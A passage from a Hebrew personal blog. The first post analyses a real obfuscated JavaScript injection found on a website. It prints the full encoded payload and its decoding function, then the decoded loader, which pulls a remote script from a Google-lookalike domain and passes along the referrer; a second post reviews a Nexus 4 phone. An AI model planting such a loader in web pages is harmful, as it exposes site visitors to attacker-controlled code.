וירוסים בעולם ה־web

(אני מנקה את הבלוג שלי ואני מצאתי משהו שכתבתי ב־2008… פאק… זה היה עוד בתקופה של בלוגלי… הבלוג עבר שתי המרות מאז… מוזר…) אני מפרסם בלי עריכה. תהנו.

אני חייב להתחיל את הפוסט הזה בכך שאני מסיר כל אחריות מכל מה שכתוב כאן: הרעיון לא שלי, הביצוע לא שלי, ולפרוץ ולהרוס מערכות מחשב זה מעשה פלילי. כל מי שעושה דברים כאלו הוא לא מישהו רצוי בבלוג הזה ויכול ללכת, לדחוף את האצבע שלו בתחת ולבדוק מה הטעם.

המשך הפוסט הזה מנתח וירוס אמיתי שנמצא בחוץ, ואני לא מצזנזר אף חלק ממנו. מי שחושב שעכשיו אני נתתי למלא script kiddies חומר חדש לתקוף אתרים הוא בור ולא מבין את הבעייה האמיתית: הבורות של אנשים הממוצעים, ורמת התכחום הטכנולוגית של הבעייה. רק על ידי ניתוח אמיתי ופתוח של בעיות אפשר לפתור אותם, ולא על ידי הסתרה שלהן.

בעבודה הבוס מבקש ממני שאני אכנס לאתר ואני אבדוק אם יש שם וירוס (לא, זה לא כי אני מריץ לינוקס 64ביט, הוא גם ביקש ממפתח שמריץ XP…). אני מסתכל על הקוד HTML שיש באתר ואני רואה:

<script>
uluf="%";
of="<i73i63i72i69pti20lai6eguagi65i3dji61vi61si63ri69pt>i20
i66uni63ti69oi6ei20i6ci69v(sn){vai72
sh,ui78i76=\"i308i2b;i69i20oi68Fdi26|*y4i4fli6ei40(#i36i6apIsZi77i39vi24i5dGi78i5ci22tKi54mg3!i2dei7bi5b:i27)i71}c1i3d7.i62JCi4dN^5i7ai66u_i60i42i55rk,aAEi482~Vi50\",ti74i6ei3di22\",i7ac,oui2ctri3d\"\"i2cci63;i66oi72i28si68=i30;i73i68<sn.length;i73h+i2b)i7bi20zi63=si6e.chi61i72i41ti28i73i68)i3bou=i75i78i76.i69i6edexOf(zi63)i3bi69f(i6fui3e-i31i29i7bi20i63c=(i28oi75i2b1i29i25i381-i31i29;i69i66i28ci63i3ci3d0i29ci63+i3di381;i74ri2bi3dui78v.i63hari41t(ci63-i31i29;
i7di20i65i6cse
i74r+=zc;}ttni2bi3dtri3bi64i6fi63i75mei6et.i77i72i69te(ti74n);}<i2fi73i63ri69i70i74>";
vmpq=unescape(of.replace(/i/g,uluf));
var bwn,yug;
document.write(vmpq);
bwn="<Z1k IKonA@3_A3{7tpA$AZ1k IKt>o&h1_g{@Kb9k
K{#ot<SMRs0monA@3_A3{7tCA$AS1k IKtoSRM7tFKKI'//999b3hh3n{A@An K
1Zb@{K/``_KJbpZ?t;&h1_g{@Kbk{u{kk{k;tt></SMRs0m>toqio</Z1k IK>oo";
liv(bwn);
</script>

אוקי מעניין, אפילו מעניין מאוד… אני מסתכל על זה ומנחש שהקוד הראשון, בעצם יעשה מין eval()‎ להמשך, ואז תהיה לי פונקציה בשםliv()‎ שהיא תעשה את החלק המעניין. אז אני מעתיק את הקוד לקובץ נקי, ובמקום להציג על "המסך", אני שופך אותו אל textarea ואז אני יכול להסתכל על הקוד שהדפדפן יראה. הפונקציה liv()‎ נראית ככה:

function liv(sn)
{
    var sh,uxv="08+;i
ohFd&|*y4Oln@(#6jpIsZw9v$]Gx\"tKTmg3!-e{[:')q}c1=7.bJCMN^5zfu_`BUrk,aAEH2~VP",ttn="",zc,ou,tr="",cc;
    for(sh=0;sh<sn.length;sh++){
            zc=sn.charAt(sh);
            ou=uxv.indexOf(zc);
            if(ou>-1){
                cc=((ou+1)%81-1);
                if(cc<=0)cc+=81;tr+=uxv.charAt(cc-1);
            }
            else
                tr+=zc;
    }
    ttn+=tr;
    //document.write(ttn);
    document.getElementById("idTextArea").value = ttn;
}

אוקי, אז הקוד עצמו מקודד פעמיים ורק אז הוא מריץ את הקוד האמיתי!

איזה הפתעה קיבלתי כאשר טיפלתי בקוד שוב ובמקום "להדפיס על המסך" אני שופך את המידע ל־textarea. מה שהיה שם כתוב כאן:

<script language="javascript"> document.write( "<SCRIPT
language=\"JavaScript\"
SRC=\"http://www.googleanalitics.net/__utb.js?"+document.referrer+"\"></SCRIPT>"
); </script>

למי שלא מבין מה כתוב פה, זה בעצם טוען JavaScript חיצוני ושם קורא כל הכיף… אבל הקובץ הזה מאוכסן באתר של התוקף ויש לו שליטה מלאה על מה שקורה ולא צריך להתחכם יותר מדי… אבל, מה שבאמת מעניין כאן, זה הכתובת של האתר. מישהו מזייף אתר עם כתובת דומה לשירות של גוגל, במקום סיומת ‎ .com בעל סיומת ‏‎.net אין מה להגיד, פשוט גאוני! אי אפשר לצפות מאנשים שמתחזקים אתר אינטרנט בתור אוסף של קבצי HTML להבין מה בעצם קרה כאן!

הקושי האמיתי פה הוא לישתול את הקוד באתר הנתקף. לפי דעתי, החלק הזה גם טריויאלי: פשוט קונים אתר בחברה שעושה shared hosting ואז יש לנו גישה פיזית למכונה.

Share

ביקורת – נקסוס 4

לפני שנה קניתי נקסוס 4 (ביום שיצא נקסוס 5, היה בעסה לקרא את זה ברגע שהדלקתי את המכשיר…) לא כתבתי ביקורת עליו, אז אני חושב שהגיע הזמן. הפוסט הוא לא נחמד מדי… אז אם יש לך קיבה רגישה, תמשיך הלאה (הביקורת לא ממש מחמיאה). אני אשמח לשמוע ממישהו שיש לו נקסוס 5, האם הבעיות שונות או דומות?

מבחינת חומרה:

  1. המכשיר מגיע בלי אוזניות. אם תחברו אליו אוזניות של סמסונג – לא תכלו לשלוט על עוצמת הווליום. כנ״ל עם אוזניות של אפל. הכפתור כדי לענות לשיחה עובד בשני הסטים של האוזניות.
  2. המכשיר מגיע בלי מטען לרכב.
  3. מגיע כבל USB ארוך יחסית (יש!) ולו כזה חיבור לקיר. החיבור לקיר הוא לא מתאים לכל שקע – יש שקעים ישנים שבהם אני לא מצליח להכניס אותו כלל (התקן הישראלי הישן – הוא קצת יותר קטן מהאירופאי).
  4. הוא מרגיש מאוד שביר… אחרי כמה חודשים אני כמעט מרגיש שהמסך רופף טיפה… עוד שנה, אני מתחיל לפחד שהחיבור של ה-USB יתפרק.
  5. הסלולה פנימית, וצריך לפרק את המכשיר כדי להחליף אותה. הברגים הם לא ברגים רגילים (לא שטוח ולא פיליפס) והם בקוטר ממש קטן – אז אני אצתרך לקנות מפתוח מיוחד.
  6. מגנים, מקלדות חיצוניות… כל ה-Accesories.. כמעט ולא קיימים למכשיר ומה שיש יחסית יקר. מגנים שקופים אפשר למצוא… אבל יחסית ביוקר (של אייפון ממש זולים… ייצור המוני…)
  7. הרמקול החיצוני פשוט נשמע רע וצפצפני.
  8. כשאני משתמש באוזניות של סמסונג אנשים מתלוננים שאי אפשר להבין אותי. אני חוזר להשתמש במיקרופון המובנה (בלי אוזניות) ואנשים שומעים אותי. אותו סיפור כשאני משתמש באוזניות של אייפון (האוזניות אמורות להיות טובות… לא?). יש לי זוג אוזניות שלישי שלא שומעים אותי דרכן, הבעייה היא במכשיר.
  9. המסך פשוט… נראה רע. הוא בהיר… אבל ניגודיות הצבעים היא די גרועה. השוותי לגלקסי 4, וגלקסי 3 מיני ומול אייפון 5, וזה פשוט רע. השוואתי מול גלקסי 1 – והפרדת הצבעים של הגלקסי הייתה יותר טובה, פשוט הנקסוס היה בהיר יותר.

מבחינת תוכנה:

  1. מצד אחד מעניין. יש המון מערכות הפעלה אלטרנטיביות, ואם יודעים לכבות את המכשיר אז זה מאוד כיף. ואני לא מדבר רק על מודים של אנדרויד, אלא דברים מוזרים באמת (אובונטו, פיירפוקס, Sailfish – מערכת ההפעלה של Jolla).
  2. מצד שני – כל שאר מערכות ההפעלה פשוט חרא בלבן. לא שוות הפעלה במשך יומיים. תמיד חזרתי אל CyanogenMod או אל Stock/Vanilla.
  3. הרומים של אנדרויד שמסתובבים ברשת – הם לא רעים. כולם עובדים ״חלק״. למעט זה שבכולם המכשיר מתחמם. מאוד. לפעמים מחזיקים את הטלפון בזמן עיון ב-Reddit ואתה מרגיש צריבה קטנה (*).
  4. השימוש ב-GPS פשוט גומר את הסוללה ובמהלך היום המכשיר מתחם כל כך, שהוא מפסיק להיטען. ותוך 20-30 דקות הוא פשוט נכבה (גם כשהוא מחובר לחשמל של האוטו). (**)
  5. הזמן שסוללה מחזיקה הוא בערך 20 שעות כשהיא חדשה. היום היא מחזיקה 16-18 שעות. בדרך כלל פחות.Screenshot_2014-09-16-09-35-00
  6. שימוש בשיתוף אינטרנט גם… גורם להתחממות קשה וגומרת את הסוללה מהר מדי. אפילו ברום הרגיל של KitKat.. המכשיר מתחמם יותר מדי. לא נוח לאחיזה.

אני חזרתי להשתמש ברום הסטוק של גוגל כדי לבדוק לעומק את טענות 3,4. אני צריך לבדוק את זה במשך כמה שבועות…

בקיצור – זהו מכשיר זול. אל תצפו ממנו להרבה. נראה ש-LG עשו את המינימום שהיה אפשר כדי לקבל את החותמת של גוגל/נקסוס. הוא מנסה לגרום לך להרגיש כאילו קנית מכשיר premium אבל בגודרי – קיבלת מכשיר בינוני. אבל מגניב.

לגבי נקסוס 5: ואללה… לא יודע. אולי הוא מכשיר יותר טוב.

לגבי נקסוס 6: אין מצב. לא מתקרב לזה. הנקסוס 4 שיש לי גדול לי מדי. אני רוצה מכשיר שאפשר לתפעל ביד אחת. בשביל שתי ידיים אני רוצה מקלדת פיזית. לא תודה.

(*) אני גולש ברכבת, זה אומר צינור גדול שכנראה משתמש כמו כלוב פארדיי ויש מלא אנשים אחרים שטוחנים את אותן אנטנות שאני טוחן. אני גם בגולן שיש להם רשת ממש גרועה. ייתכן ששילוב של אלו זה מה שגורם למכשיר להתנהג ככה.

(**) המטען שלי לרכב הוא לא מקורי… הוא די ליפה… אז ייתכן והוא דפוק. ייתכן גם השמש היוקדת על מכשיר שחור גורמת לו להתחמם. מצד שני – אלו בעיות של המכשיר בכל זאת. בנהיגות בלילה, גם וויז וגם המפות של גוגל לוקחות יותר חשמל מאשר המטען מספק – ולכן רמת הטעינה יורדת לאט במהלך הנסיעה, בגלקסי1 שלי בהתחלה זה אשכרה היה מטעין את המכשיר…(***).

(***) וויז היה שונה אז… ייתכן והתוכנה החדשה עושה המון חישובים מקומיים שגורמת למכשיר לעבור קשה ולגמור את הסוללה, ההשוואה היא לא מתאימה.

Share